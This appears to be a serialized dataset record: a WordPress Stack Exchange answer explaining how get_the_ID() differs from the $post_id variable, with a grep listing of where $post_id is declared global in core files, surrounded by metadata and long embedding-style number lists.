0.034698486328125,
0.01422882080078125,
0.032562255859375,
-0.034454345703125,
-0.041900634765625,
-0.034423828125,
0.0250244140625,
-0.0256805419921875,
0.01143646240234375,
0.004360198974609375,
-0.0270538330078125,
0.0355224609375,
-0.02264404296875,
-0.01507568359375,
-0.0236358642578125,
0.0181732177734375,
0.029937744140625,
0.0306549072265625,
0.05712890625,
-0.029083251953125,
-0.07733154296875,
-0.07330322265625,
-0.0217132568359375,
-0.00005811452865600586,
-0.050323486328125,
0.002185821533203125,
0.00609588623046875,
-0.007415771484375,
-0.0035648345947265625,
-0.0034351348876953125,
-0.0178375244140625,
0.029449462890625,
0.0199432373046875,
-0.0033817291259765625,
-0.05426025390625,
0.0694580078125,
0.00789642333984375,
0.0199737548828125,
-0.01421356201171875,
0.0088043212890625,
0.0007266998291015625,
0.00859832763671875,
0.00815582275390625,
-0.0167388916015625,
-0.00273895263671875,
0.0152130126953125,
-0.032562255859375,
-0.05804443359375,
0.0022792816162109375,
-0.011077880859375,
0.0533447265625,
-0.0225067138671875,
-0.00334930419921875,
-0.00634002685546875,
0.0009660720825195312,
-0.03863525390625,
0.057159423828125,
-0.00432586669921875,
-0.0209503173828125,
-0.0106048583984375,
-0.037689208984375,
-0.022979736328125,
0.025482177734375,
-0.01511383056640625,
0.0019245147705078125,
0.039459228515625,
-0.03643798828125,
0.07489013671875,
0.06878662109375,
-0.00634002685546875,
0.044342041015625,
0.0156402587890625,
0.0013332366943359375,
0.00991058349609375,
-0.0253143310546875,
-0.06195068359375,
-0.026519775390625,
0.004241943359375,
0.0059051513671875,
0.0145721435546875,
0.032257080078125,
0.01056671142578125,
0.01067352294921875,
0.044464111328125,
0.08209228515625,
-0.0833740234375,
0.0288543701171875,
0.042938232421875,
-0.0160369873046875,
-0.0133209228515625,
-0.026214599609375,
-0.03375244140625,
-0.041351318359375,
-0.00457763671875,
0.043731689453125,
-0.0523681640625,
-0.02716064453125,
0.049072265625,
-0.01531982421875,
0.0160675048828125,
0.0426025390625,
0.0087432861328125,
0.0345458984375,
-0.0028133392333984375,
-0.0396728515625,
0.03375244140625,
0.0206298828125,
0.006694793701171875,
-0.003620147705078125,
-0.0257415771484375,
-0.0186767578125,
0.0155181884765625,
-0.03375244140625,
-0.01396942138671875,
-0.004669189453125,
-0.031280517578125,
0.0160675048828125,
0.0430908203125,
-0.0277252197265625,
0.0106658935546875,
0.0197601318359375,
0.004741668701171875,
-0.048614501953125,
-0.007396697998046875,
0.0261383056640625,
0.007568359375,
-0.023681640625,
0.03125,
-0.04315185546875,
-0.0177764892578125,
-0.0031490325927734375,
-0.0357666015625,
0.0239715576171875,
-0.0260467529296875,
0.002529144287109375,
0.0272979736328125,
0.0168914794921875,
-0.005039215087890625,
-0.004261016845703125,
-0.019561767578125,
-0.0791015625,
-0.04608154296875,
0.0013246536254882812,
-0.058013916015625,
0.00618743896484375,
0.0016765594482421875,
-0.04443359375,
0.0557861328125,
0.0005402565002441406,
-0.0233154296875,
0.01953125,
0.0240478515625,
-0.04541015625,
-0.00980377197265625,
-0.025909423828125,
0.024810791015625,
0.019989013671875,
0.07257080078125,
-0.0284881591796875,
-0.021026611328125,
0.041412353515625,
0.040802001953125,
0.0274658203125,
0.00922393798828125,
-0.01947021484375,
0.006893157958984375,
0.03094482421875,
0.0190277099609375,
-0.00513458251953125,
0.022918701171875,
0.002166748046875,
0.0198822021484375,
0.0914306640625,
-0.01143646240234375,
0.0263671875,
0.04443359375,
-0.006824493408203125,
0.0169677734375,
0.004669189453125,
-0.0085601806640625,
-0.003948211669921875,
-0.0010318756103515625,
-0.0027751922607421875,
-0.0215606689453125,
0.001407623291015625,
-0.0535888671875,
-0.0131072998046875,
0.04083251953125,
0.0295257568359375,
-0.06512451171875,
-0.044708251953125,
-0.03448486328125,
0.044647216796875,
0.0157012939453125,
-0.033843994140625,
0.0438232421875,
0.011810302734375,
-0.046844482421875,
0.0110931396484375,
-0.0198211669921875,
0.010467529296875,
-0.005161285400390625,
0.027069091796875,
-0.0128936767578125,
0.0299835205078125,
-0.03759765625,
0.00968170166015625,
-0.0028629302978515625,
0.039581298828125,
-0.03021240234375,
0.004669189453125,
0.01139068603515625,
-0.0070037841796875,
0.00472259521484375,
-0.035247802734375,
-0.0007810592651367188,
0.057037353515625,
0.03875732421875,
0.0323486328125,
-0.0028820037841796875,
0.005401611328125,
-0.035125732421875,
0.00266265869140625,
0.050628662109375,
0.027099609375,
0.02618408203125,
0.0016088485717773438,
-0.00312042236328125,
0.0180206298828125,
0.03253173828125,
-0.024322509765625,
0.04718017578125,
-0.015777587890625,
0.003833770751953125,
-0.052215576171875,
0.033172607421875,
-0.0243377685546875,
0.07666015625,
-0.0787353515625,
-0.0163421630859375,
-0.00186920166015625,
0.0692138671875,
-0.0005240440368652344,
0.056671142578125,
0.0682373046875,
0.0191192626953125,
-0.0374755859375,
0.0004298686981201172,
0.0162506103515625,
-0.036865234375,
-0.00975799560546875,
-0.038055419921875,
0.02880859375,
0.0321044921875,
0.0159912109375,
-0.00677490234375,
0.0293426513671875,
0.03338623046875,
0.028350830078125,
0.0028934478759765625,
0.0229949951171875,
-0.0017766952514648438,
0.0291900634765625,
-0.00943756103515625,
0.01219940185546875,
0.052764892578125,
0.007244110107421875,
-0.009796142578125,
-0.00624847412109375,
0.0310516357421875,
-0.0033893585205078125,
0.0227508544921875,
0.030792236328125,
-0.006008148193359375,
0.00689697265625,
0.01189422607421875,
0.0218353271484375,
-0.022125244140625,
-0.035980224609375,
-0.040069580078125,
0.053131103515625,
-0.019927978515625,
0.000995635986328125,
-0.005062103271484375,
0.017425537109375,
0.01262664794921875,
0.0063629150390625,
0.0655517578125,
-0.01678466796875,
0.01160430908203125,
0.0007963180541992188,
0.0091094970703125,
-0.0006856918334960938,
0.006561279296875,
0.0169677734375,
0.0187835693359375,
-0.00855255126953125,
-0.0287628173828125,
-0.042816162109375,
-0.01348876953125,
0.03314208984375,
-0.0215911865234375,
0.00848388671875,
-0.043487548828125,
0.04193115234375,
-0.0149688720703125,
0.0169219970703125,
-0.0157623291015625,
-0.01280975341796875,
0.000316619873046875,
0.006381988525390625,
0.035003662109375,
0.01233673095703125,
-0.035675048828125,
0.041351318359375,
-0.0225982666015625,
-0.027923583984375,
0.031890869140625,
-0.053802490234375,
0.0294952392578125,
0.036041259765625,
-0.00041365623474121094,
-0.00021326541900634766,
-0.003879547119140625,
-0.0237884521484375,
-0.00811004638671875,
0.0086212158203125,
-0.0153350830078125,
-0.0019407272338867188,
-0.04095458984375,
0.00530242919921875,
0.03753662109375,
0.043426513671875,
-0.004863739013671875,
0.00638580322265625,
0.00592041015625,
-0.0125885009765625,
0.031829833984375,
-0.021881103515625,
-0.01438140869140625,
-0.006610870361328125,
-0.03375244140625,
0.0111083984375,
-0.0226287841796875,
-0.032958984375,
-0.05780029296875,
0.0215911865234375,
0.047149658203125,
0.0007758140563964844,
-0.07635498046875,
0.035003662109375,
-0.03582763671875,
0.07867431640625,
-0.0187835693359375,
-0.0290679931640625,
0.00597381591796875,
0.01372528076171875,
-0.0308990478515625,
-0.064453125,
-0.054473876953125,
0.0374755859375,
-0.0626220703125,
0.01190948486328125,
0.0274810791015625,
-0.0166778564453125,
-0.0021228790283203125,
-0.0147247314453125,
0.0247650146484375,
0.041046142578125,
0.0012035369873046875,
-0.0172119140625,
0.037139892578125,
-0.02142333984375,
-0.051971435546875,
-0.09539794921875,
0.035125732421875,
-0.137451171875,
-0.015594482421875,
-0.023895263671875,
0.0228118896484375,
0.019744873046875,
-0.038665771484375,
-0.1041259765625,
0.017913818359375,
-0.0273590087890625,
-0.036956787109375,
-0.04254150390625,
0.0083770751953125,
-0.0181732177734375,
0.06756591796875,
0.00017178058624267578,
-0.01372528076171875,
0.00682830810546875,
0.025665283203125,
0.0014238357543945312,
-0.0027561187744140625,
0.041168212890625,
-0.0170135498046875,
-0.035858154296875,
-0.006439208984375,
0.0125885009765625,
0.00319671630859375,
0.0128021240234375,
-0.0265350341796875,
0.027740478515625,
0.032745361328125,
-0.028839111328125,
-0.030181884765625,
-0.01023101806640625,
-0.006679534912109375,
-0.022125244140625,
-0.00909423828125,
-0.024322509765625,
-0.01197052001953125,
0.07403564453125,
0.06207275390625,
0.016204833984375,
-0.0294342041015625,
-0.021331787109375,
-0.033599853515625,
-0.005039215087890625,
0.0014781951904296875,
0.01119232177734375,
-0.053680419921875,
0.00324249267578125,
0.00821685791015625,
-0.0004987716674804688,
0.024017333984375,
0.01102447509765625,
-0.0197296142578125,
0.0006241798400878906,
-0.007343292236328125,
-0.040252685546875,
-0.0291748046875,
0.05426025390625,
-0.0065155029296875,
-0.0306549072265625,
-0.036773681640625,
-0.0240020751953125,
-0.0113983154296875,
-0.040283203125,
-0.055206298828125,
-0.0024871826171875,
-0.0091552734375,
0.0308990478515625,
-0.0006690025329589844,
0.0309906005859375,
-0.07623291015625,
0.0443115234375,
-0.005123138427734375,
-0.0262603759765625,
0.0199737548828125,
0.004512786865234375,
0.033416748046875,
-0.028900146484375,
0.07550048828125,
0.038665771484375,
0.0268096923828125,
-0.027191162109375,
-0.04949951171875,
-0.0233154296875,
0.01396942138671875,
-0.008636474609375,
0.005748748779296875,
0.04180908203125,
-0.022674560546875,
0.0086669921875,
0.01727294921875,
0.0198974609375,
-0.0220947265625,
-0.0027828216552734375,
-0.0270843505859375,
0.01432037353515625,
0.006336212158203125
] |
85a2d190f33bf6a9f95fbdcf0302b29686ffc2f5
|
Wordpress Stackexchange
Q: What is the difference between $post_id and get_the_ID()? What is the difference between $post_id and get_the_ID()?
I could not find any documentation on $post_id.
A: get_the_ID() returns the ID of the current post by way of get_post. Get post assumes the current post to be the global variable $post unless passed parameters specifying otherwise. That means that get_the_ID() should return the same value as contained in $post->ID. Using get_the_ID() lets you avoid dealing with the global directly, though you are dealing with it indirectly. Using get_the_ID() tends to be less error-prone in theme template files.
$post_id is a variable name used commonly to refer the post ID, but it isn't a Core variable the way that $post is, though it does get defined a few times in specific contexts:
grep -Rn '$post_id' * |grep global
wp-admin/includes/class-wp-comments-list-table.php:25: global $post_id;
wp-admin/includes/class-wp-comments-list-table.php:45: global $post_id, $comment_status, $search, $comment_type;
wp-admin/includes/class-wp-comments-list-table.php:141: global $post_id, $comment_status, $comment_type;
wp-admin/includes/class-wp-comments-list-table.php:250: global $post_id;
wp-admin/includes/ajax-actions.php:691: global $wp_list_table, $post_id;
wp-includes/ms-deprecated.php:115:function clear_global_post_cache( $post_id ) {
|
Q: What is the difference between $post_id and get_the_ID()? What is the difference between $post_id and get_the_ID()?
I could not find any documentation on $post_id.
A: get_the_ID() returns the ID of the current post by way of get_post. Get post assumes the current post to be the global variable $post unless passed parameters specifying otherwise. That means that get_the_ID() should return the same value as contained in $post->ID. Using get_the_ID() lets you avoid dealing with the global directly, though you are dealing with it indirectly. Using get_the_ID() tends to be less error-prone in theme template files.
$post_id is a variable name used commonly to refer the post ID, but it isn't a Core variable the way that $post is, though it does get defined a few times in specific contexts:
grep -Rn '$post_id' * |grep global
wp-admin/includes/class-wp-comments-list-table.php:25: global $post_id;
wp-admin/includes/class-wp-comments-list-table.php:45: global $post_id, $comment_status, $search, $comment_type;
wp-admin/includes/class-wp-comments-list-table.php:141: global $post_id, $comment_status, $comment_type;
wp-admin/includes/class-wp-comments-list-table.php:250: global $post_id;
wp-admin/includes/ajax-actions.php:691: global $wp_list_table, $post_id;
wp-includes/ms-deprecated.php:115:function clear_global_post_cache( $post_id ) {
|
wordpress
|
{
"language": "en",
"length": 162,
"provenance": "stackexchange_00019.jsonl.gz:436522",
"question_score": "11",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112398"
}
|
[
0.04571533203125,
-0.0005559921264648438,
0.0124664306640625,
-0.057281494140625,
0.025970458984375,
-0.0235748291015625,
0.033782958984375,
-0.0045013427734375,
-0.012542724609375,
0.0234527587890625,
-0.0479736328125,
-0.00568389892578125,
-0.019683837890625,
-0.01055145263671875,
0.004764556884765625,
-0.058929443359375,
0.0631103515625,
-0.063232421875,
0.01407623291015625,
-0.015045166015625,
-0.006496429443359375,
0.0240325927734375,
0.03326416015625,
0.06475830078125,
0.027435302734375,
-0.08123779296875,
0.013275146484375,
0.0174560546875,
0.0119476318359375,
-0.012115478515625,
0.0177459716796875,
0.022705078125,
0.0158233642578125,
0.00008761882781982422,
-0.0134429931640625,
-0.00945281982421875,
0.0033817291259765625,
0.006885528564453125,
0.03704833984375,
-0.02239990234375,
0.0114288330078125,
-0.01158905029296875,
-0.0086669921875,
-0.0235443115234375,
-0.0311431884765625,
0.0033473968505859375,
-0.0081939697265625,
-0.01275634765625,
0.0015840530395507812,
0.0174713134765625,
0.0202484130859375,
0.021270751953125,
0.03271484375,
-0.02166748046875,
0.006130218505859375,
0.016021728515625,
-0.00475311279296875,
-0.048004150390625,
0.0447998046875,
0.0020351409912109375,
-0.026641845703125,
-0.031768798828125,
0.034820556640625,
-0.0279388427734375,
-0.014556884765625,
0.0279083251953125,
0.08056640625,
0.009368896484375,
-0.03875732421875,
-0.036865234375,
-0.007049560546875,
0.003368377685546875,
0.0101318359375,
-0.02960205078125,
-0.01247406005859375,
-0.042938232421875,
0.0401611328125,
-0.0219879150390625,
-0.0238494873046875,
0.01168060302734375,
-0.0181121826171875,
-0.007373809814453125,
-0.09014892578125,
0.032257080078125,
-0.02178955078125,
0.047210693359375,
-0.02484130859375,
-0.030975341796875,
-0.0003314018249511719,
-0.050537109375,
-0.0211944580078125,
-0.055999755859375,
0.0144805908203125,
-0.002193450927734375,
-0.0248870849609375,
-0.053924560546875,
0.041748046875,
0.09320068359375,
-0.032623291015625,
0.008209228515625,
-0.03369140625,
-0.0186920166015625,
0.0034008026123046875,
-0.05120849609375,
-0.0037364959716796875,
0.01085662841796875,
0.0223388671875,
0.02838134765625,
0.03741455078125,
0.0210418701171875,
-0.0115814208984375,
-0.007598876953125,
0.00873565673828125,
0.0003581047058105469,
-0.0211181640625,
-0.01035308837890625,
-0.055450439453125,
0.010284423828125,
-0.0166778564453125,
-0.0106353759765625,
0.033660888671875,
0.0193939208984375,
-0.01482391357421875,
0.03741455078125,
-0.0161590576171875,
-0.01230621337890625,
-0.017486572265625,
-0.0130157470703125,
-0.0290069580078125,
0.0247802734375,
-0.0360107421875,
-0.0005869865417480469,
0.085693359375,
0.035797119140625,
0.01446533203125,
-0.028076171875,
-0.012298583984375,
-0.01049041748046875,
0.0170440673828125,
0.00396728515625,
-0.0018281936645507812,
-0.0491943359375,
-0.009307861328125,
0.00933837890625,
-0.022796630859375,
0.029998779296875,
0.027069091796875,
-0.012939453125,
-0.0263824462890625,
-0.0579833984375,
-0.02392578125,
0.0189208984375,
0.021728515625,
0.02008056640625,
0.0222320556640625,
-0.03009033203125,
0.0195465087890625,
-0.045928955078125,
0.0225067138671875,
-0.03955078125,
0.050872802734375,
-0.01047515869140625,
-0.037994384765625,
-0.0025997161865234375,
-0.058319091796875,
0.00849151611328125,
-0.019775390625,
-0.0087432861328125,
0.0233154296875,
0.028472900390625,
0.062469482421875,
0.002727508544921875,
0.0305328369140625,
-0.00595855712890625,
-0.01171875,
-0.0287017822265625,
-0.01470947265625,
-0.030181884765625,
0.0244598388671875,
-0.01425933837890625,
-0.07183837890625,
-0.06280517578125,
-0.050567626953125,
-0.0033588409423828125,
-0.03448486328125,
0.0172576904296875,
0.037872314453125,
0.05694580078125,
-0.0152130126953125,
0.0296783447265625,
0.047637939453125,
0.024200439453125,
-0.024200439453125,
0.0215911865234375,
-0.009368896484375,
-0.0294036865234375,
-0.0240478515625,
-0.000002562999725341797,
-0.01065826416015625,
-0.00592803955078125,
-0.0038623809814453125,
-0.00783538818359375,
-0.00240325927734375,
0.03253173828125,
-0.10382080078125,
0.0162200927734375,
-0.0394287109375,
0.047271728515625,
-0.01259613037109375,
0.0021228790283203125,
0.032989501953125,
0.01178741455078125,
-0.036346435546875,
0.0004067420959472656,
-0.0312347412109375,
0.037506103515625,
-0.055419921875,
0.00489044189453125,
-0.027435302734375,
0.052490234375,
-0.05609130859375,
-0.0009365081787109375,
-0.061187744140625,
-0.0322265625,
0.06634521484375,
0.019561767578125,
-0.01308441162109375,
-0.01325225830078125,
0.07342529296875,
0.0012960433959960938,
0.0021820068359375,
-0.0001596212387084961,
0.0272216796875,
0.0498046875,
-0.0016851425170898438,
-0.01032257080078125,
0.0135498046875,
-0.0933837890625,
0.01983642578125,
0.05108642578125,
0.03997802734375,
0.031768798828125,
0.01204681396484375,
0.006378173828125,
0.021148681640625,
-0.01776123046875,
0.033355712890625,
-0.041778564453125,
0.0028629302978515625,
0.06158447265625,
0.0125274658203125,
0.01959228515625,
0.01174163818359375,
0.005809783935546875,
-0.019287109375,
0.036895751953125,
-0.017303466796875,
0.00881195068359375,
-0.0173187255859375,
0.00994110107421875,
-0.01358795166015625,
-0.0491943359375,
0.0093841552734375,
-0.034515380859375,
-0.0006136894226074219,
-0.0050811767578125,
0.027618408203125,
0.0197601318359375,
-0.014923095703125,
-0.036865234375,
0.0345458984375,
0.04150390625,
-0.0007195472717285156,
0.06622314453125,
-0.0294036865234375,
0.0196685791015625,
-0.03076171875,
-0.00940704345703125,
0.01110076904296875,
0.01422119140625,
-0.0081329345703125,
0.0113067626953125,
-0.0318603515625,
-0.00860595703125,
0.0173492431640625,
-0.02069091796875,
-0.0031871795654296875,
0.0167083740234375,
0.00428009033203125,
-0.034210205078125,
0.0088348388671875,
0.0092620849609375,
-0.0394287109375,
0.036865234375,
0.0176239013671875,
-0.036407470703125,
0.06817626953125,
-0.0202789306640625,
0.0194549560546875,
-0.0237884521484375,
0.061279296875,
0.039337158203125,
-0.00559234619140625,
-0.002399444580078125,
-0.00027751922607421875,
-0.0027980804443359375,
0.0195159912109375,
-0.016510009765625,
-0.007720947265625,
-0.0039520263671875,
-0.051544189453125,
0.038787841796875,
0.0264129638671875,
0.09051513671875,
-0.024658203125,
-0.056182861328125,
-0.0189666748046875,
0.04010009765625,
-0.08673095703125,
-0.0987548828125,
0.020538330078125,
-0.0576171875,
-0.007534027099609375,
-0.03839111328125,
-0.03851318359375,
0.00644683837890625,
-0.025238037109375,
-0.0007419586181640625,
-0.012725830078125,
0.0013933181762695312,
-0.06439208984375,
-0.037689208984375,
-0.07427978515625,
-0.0070953369140625,
-0.0193023681640625,
0.0275115966796875,
0.004261016845703125,
0.03814697265625,
0.0196075439453125,
-0.0002830028533935547,
0.0011501312255859375,
0.026885986328125,
-0.0021266937255859375,
-0.01465606689453125,
0.01519775390625,
-0.034515380859375,
0.01361846923828125,
0.01079559326171875,
-0.03314208984375,
0.02264404296875,
0.005092620849609375,
-0.035888671875,
-0.002147674560546875,
0.045501708984375,
0.054840087890625,
0.014007568359375,
-0.0189666748046875,
0.047943115234375,
0.059356689453125,
-0.018890380859375,
-0.03167724609375,
-0.033233642578125,
-0.05426025390625,
0.028778076171875,
0.042449951171875,
0.0049285888671875,
-0.007083892822265625,
0.0158538818359375,
0.021820068359375,
0.02899169921875,
0.006671905517578125,
-0.006275177001953125,
0.026031494140625,
0.01678466796875,
0.0186309814453125,
-0.00542449951171875,
0.01160430908203125,
-0.0151824951171875,
-0.0307159423828125,
-0.0189056396484375,
0.023895263671875,
0.03826904296875,
-0.07244873046875,
-0.0013856887817382812,
-0.0452880859375,
0.052276611328125,
0.032745361328125,
0.0001806020736694336,
-0.01270294189453125,
-0.04986572265625,
-0.0026397705078125,
0.06915283203125,
0.001972198486328125,
-0.01099395751953125,
-0.0278778076171875,
0.00897979736328125,
-0.043365478515625,
-0.062286376953125,
-0.030548095703125,
-0.004974365234375,
-0.0379638671875,
-0.0014734268188476562,
-0.0125274658203125,
-0.004425048828125,
-0.0179901123046875,
0.11590576171875,
-0.01235198974609375,
-0.01442718505859375,
0.0423583984375,
-0.051239013671875,
-0.004329681396484375,
0.04052734375,
-0.01314544677734375,
0.022186279296875,
-0.018768310546875,
-0.034576416015625,
-0.035888671875,
-0.00553131103515625,
-0.0036334991455078125,
0.0180511474609375,
0.01488494873046875,
-0.0186920166015625,
0.00402069091796875,
0.0147247314453125,
0.0094146728515625,
0.002964019775390625,
-0.0263214111328125,
0.00873565673828125,
-0.0109710693359375,
0.017303466796875,
-0.016693115234375,
-0.005504608154296875,
-0.025848388671875,
-0.027984619140625,
-0.044677734375,
0.00139617919921875,
-0.024627685546875,
0.01885986328125,
-0.007293701171875,
-0.0174560546875,
-0.067626953125,
-0.0181427001953125,
-0.024200439453125,
0.0031528472900390625,
-0.024932861328125,
0.0190887451171875,
-0.0001710653305053711,
-0.05950927734375,
0.04937744140625,
0.008880615234375,
-0.0142974853515625,
-0.007099151611328125,
0.06378173828125,
0.018798828125,
-0.036285400390625,
-0.0271453857421875,
-0.029205322265625,
0.044830322265625,
-0.05255126953125,
0.05963134765625,
0.05279541015625,
-0.034637451171875,
0.051666259765625,
0.0261383056640625,
0.00576019287109375,
0.0197296142578125,
0.040557861328125,
-0.0027065277099609375,
-0.00473785400390625,
-0.005405426025390625,
-0.021881103515625,
0.005863189697265625,
0.0108184814453125,
-0.026519775390625,
-0.016265869140625,
-0.0303192138671875,
0.04345703125,
-0.009490966796875,
0.039093017578125,
-0.037994384765625,
-0.024444580078125,
0.0146331787109375,
-0.034149169921875,
0.0202178955078125,
0.01198577880859375,
0.017669677734375,
0.006114959716796875,
0.0276641845703125,
0.01861572265625,
0.01036834716796875,
0.047698974609375,
0.0128326416015625,
0.0213165283203125,
0.059661865234375,
0.0204010009765625,
-0.0399169921875,
-0.016815185546875,
0.05426025390625,
-0.004608154296875,
-0.0270233154296875,
0.0225982666015625,
0.0008459091186523438,
-0.0179595947265625,
0.0149688720703125,
0.0000553131103515625,
0.04376220703125,
0.022613525390625,
-0.01343536376953125,
-0.020477294921875,
-0.017364501953125,
-0.016143798828125,
-0.051177978515625,
0.03173828125,
0.005176544189453125,
0.0007476806640625,
0.0157623291015625,
0.07550048828125,
0.0239105224609375,
0.044677734375,
-0.0550537109375,
0.05084228515625,
0.00933837890625,
0.03509521484375,
-0.007015228271484375,
-0.01175689697265625,
0.00484466552734375,
0.032958984375,
-0.0197906494140625,
-0.01258087158203125,
0.0156402587890625,
0.0556640625,
0.02587890625,
0.0170745849609375,
-0.005466461181640625,
-0.0278778076171875,
-0.0138702392578125,
-0.01030731201171875,
0.048919677734375,
0.03094482421875,
-0.036895751953125,
-0.007579803466796875,
0.0144195556640625,
0.0274505615234375,
0.0023326873779296875,
-0.0229949951171875,
0.01361083984375,
-0.031402587890625,
0.005615234375,
0.0089569091796875,
-0.018951416015625,
-0.00970458984375,
-0.000056862831115722656,
-0.0286407470703125,
-0.02825927734375,
0.0013971328735351562,
-0.0006628036499023438,
-0.006793975830078125,
-0.0030059814453125,
-0.0192718505859375,
0.0226287841796875,
0.04046630859375,
0.057952880859375,
-0.0241241455078125,
-0.0633544921875,
-0.0200042724609375,
-0.01153564453125,
0.0430908203125,
0.006595611572265625,
0.01739501953125,
-0.0177001953125,
-0.0310821533203125,
-0.0151824951171875,
-0.0020656585693359375,
-0.04254150390625,
-0.014129638671875,
0.01384735107421875,
-0.0135345458984375,
0.006191253662109375,
-0.0026416778564453125,
0.038909912109375,
0.0026149749755859375,
0.031951904296875,
-0.019073486328125,
0.047271728515625,
-0.02996826171875,
0.056793212890625,
0.0273895263671875,
0.01806640625,
0.0167083740234375,
0.024566650390625,
0.00948333740234375,
-0.01152801513671875,
0.00484466552734375,
-0.03167724609375,
-0.0024089813232421875,
-0.00994873046875,
0.007617950439453125,
-0.0287017822265625,
-0.01654052734375,
-0.0037212371826171875,
0.011566162109375,
0.00968170166015625,
0.004695892333984375,
-0.02032470703125,
-0.043975830078125,
0.019073486328125,
0.0020084381103515625,
0.022430419921875,
-0.0287933349609375,
0.0176849365234375,
0.02374267578125,
0.036163330078125,
-0.01111602783203125,
-0.0306549072265625,
-0.0137939453125,
0.048065185546875,
-0.024749755859375,
0.05596923828125,
0.11688232421875,
0.04083251953125,
0.0445556640625,
0.003665924072265625,
0.0039005279541015625,
-0.008026123046875,
0.05120849609375,
-0.00226593017578125,
-0.0518798828125,
0.0765380859375,
0.03497314453125,
-0.04193115234375,
0.048309326171875,
-0.0440673828125,
0.0178680419921875,
0.0026721954345703125,
0.052734375,
-0.0170440673828125,
0.007312774658203125,
0.0276947021484375,
-0.03363037109375,
-0.004974365234375,
-0.00872802734375,
-0.0102386474609375,
-0.030120849609375,
0.035003662109375,
-0.00701904296875,
-0.0290069580078125,
0.01702880859375,
-0.01190948486328125,
-0.01277923583984375,
-0.040771484375,
0.03424072265625,
0.0017404556274414062,
-0.00833892822265625,
0.0018148422241210938,
-0.01097869873046875,
-0.003307342529296875,
-0.030303955078125,
-0.004398345947265625,
-0.01629638671875,
-0.024078369140625,
-0.0794677734375,
-0.0023784637451171875,
0.00646209716796875,
0.0089569091796875,
0.037750244140625,
0.025848388671875,
-0.003936767578125,
0.02899169921875,
-0.0008549690246582031,
0.013519287109375,
-0.00811004638671875,
-0.01247406005859375,
-0.060150146484375,
-0.00457763671875,
-0.00965118408203125,
0.04254150390625,
0.00731658935546875,
0.0169525146484375,
-0.028289794921875,
-0.00981903076171875,
0.005565643310546875,
-0.00516510009765625,
0.06689453125,
-0.08544921875,
0.001049041748046875,
0.016693115234375,
0.004253387451171875,
0.012115478515625,
0.00666046142578125,
0.01384735107421875,
-0.008880615234375,
0.0047760009765625,
0.004932403564453125,
-0.0146331787109375,
-0.01377105712890625,
-0.00835418701171875,
-0.05426025390625,
0.06060791015625,
0.004421234130859375,
0.01197052001953125,
0.0081634521484375,
0.0068817138671875,
-0.02252197265625,
-0.01522064208984375,
-0.0222930908203125,
0.0191497802734375,
-0.0489501953125,
0.0171356201171875,
-0.06036376953125,
-0.005588531494140625,
-0.01461029052734375,
0.0263824462890625,
0.0943603515625,
0.0171966552734375,
-0.0216217041015625,
-0.021697998046875,
0.027801513671875,
0.044281005859375,
0.0006322860717773438,
0.019195556640625,
0.033416748046875,
0.06488037109375,
0.03607177734375,
-0.04791259765625,
0.0122833251953125,
-0.03271484375,
-0.01230621337890625,
0.04449462890625,
0.03350830078125,
0.028350830078125,
0.0199737548828125,
-0.00865936279296875,
-0.02532958984375,
0.0028018951416015625,
0.0252227783203125,
-0.0162506103515625,
-0.004062652587890625,
0.052764892578125,
0.02996826171875,
-0.051483154296875,
-0.00785064697265625,
-0.0418701171875,
0.047149658203125,
-0.0011167526245117188,
0.030120849609375,
0.04852294921875,
0.024810791015625,
0.05548095703125,
0.035430908203125,
0.0265350341796875,
0.0256195068359375,
0.000980377197265625,
0.040618896484375,
0.0430908203125,
0.01367950439453125,
-0.03851318359375,
0.01523590087890625,
0.04010009765625,
0.056365966796875,
-0.049591064453125,
-0.00666046142578125,
0.0252838134765625,
0.00955963134765625,
-0.0035552978515625,
-0.0271759033203125,
0.037384033203125,
-0.03192138671875,
-0.02532958984375,
-0.0297088623046875,
0.00860595703125,
0.0462646484375,
-0.007160186767578125,
0.004436492919921875,
0.002193450927734375,
-0.02117919921875,
0.014801025390625,
-0.07147216796875,
0.0184478759765625,
0.053802490234375,
0.05377197265625,
0.01247406005859375,
0.05316162109375,
0.013336181640625,
-0.0214996337890625,
0.0074462890625,
0.018341064453125,
0.00566864013671875,
0.01299285888671875,
-0.037261962890625,
-0.03326416015625,
0.051849365234375,
0.037445068359375,
0.03741455078125,
0.01308441162109375,
0.042694091796875,
-0.012451171875,
-0.043975830078125,
0.0128631591796875,
0.00868988037109375,
-0.0235595703125,
0.0032367706298828125,
-0.016387939453125,
-0.016571044921875,
-0.017608642578125,
-0.02532958984375,
0.004596710205078125,
0.0069580078125,
0.0017108917236328125,
0.004169464111328125,
0.043731689453125,
-0.0014562606811523438,
-0.010986328125,
0.0157470703125,
0.0230865478515625,
0.03680419921875,
0.004344940185546875,
-0.03033447265625,
-0.00839996337890625,
0.004726409912109375,
-0.01294708251953125,
0.00861358642578125,
0.0204620361328125,
-0.01514434814453125,
0.0333251953125,
-0.01153564453125,
0.007572174072265625,
-0.0011749267578125,
-0.00498199462890625,
0.00893402099609375,
0.016387939453125,
0.0244903564453125,
0.021942138671875,
-0.03271484375,
-0.01342010498046875,
-0.0102081298828125,
-0.00040149688720703125,
0.026153564453125,
0.00022208690643310547,
0.01479339599609375,
0.0311431884765625,
-0.0291290283203125,
0.07647705078125,
-0.10394287109375,
-0.033294677734375,
0.07208251953125,
-0.0304107666015625,
0.005462646484375,
0.0206298828125,
-0.070556640625,
0.03680419921875,
0.0360107421875,
0.01131439208984375,
0.033477783203125,
-0.0082244873046875,
0.01163482666015625,
-0.0261993408203125,
0.0185699462890625,
-0.01097869873046875,
0.0159454345703125,
0.0189971923828125,
-0.002593994140625,
0.047698974609375,
0.006153106689453125,
-0.0240478515625,
0.0120086669921875,
-0.0318603515625,
-0.0211181640625,
0.03570556640625,
-0.018585205078125,
0.0227813720703125,
0.02777099609375,
-0.055084228515625,
0.0150604248046875,
-0.0019588470458984375,
-0.0098114013671875,
0.016021728515625,
0.02032470703125,
-0.001598358154296875,
0.0206146240234375,
0.010711669921875,
0.005428314208984375,
0.002155303955078125,
0.061920166015625,
0.0003528594970703125,
0.0222930908203125,
0.007427215576171875,
0.011077880859375,
-0.007015228271484375,
-0.03485107421875,
-0.019500732421875,
-0.01197052001953125,
-0.0227508544921875,
0.0106048583984375,
-0.003887176513671875,
-0.031494140625,
-0.02032470703125,
-0.01336669921875,
-0.0028858184814453125,
0.0162811279296875,
-0.0404052734375,
0.032135009765625,
0.021087646484375,
-0.01045989990234375,
-0.01020050048828125,
0.02850341796875,
-0.0198822021484375,
0.00693511962890625,
-0.045928955078125,
-0.0205078125,
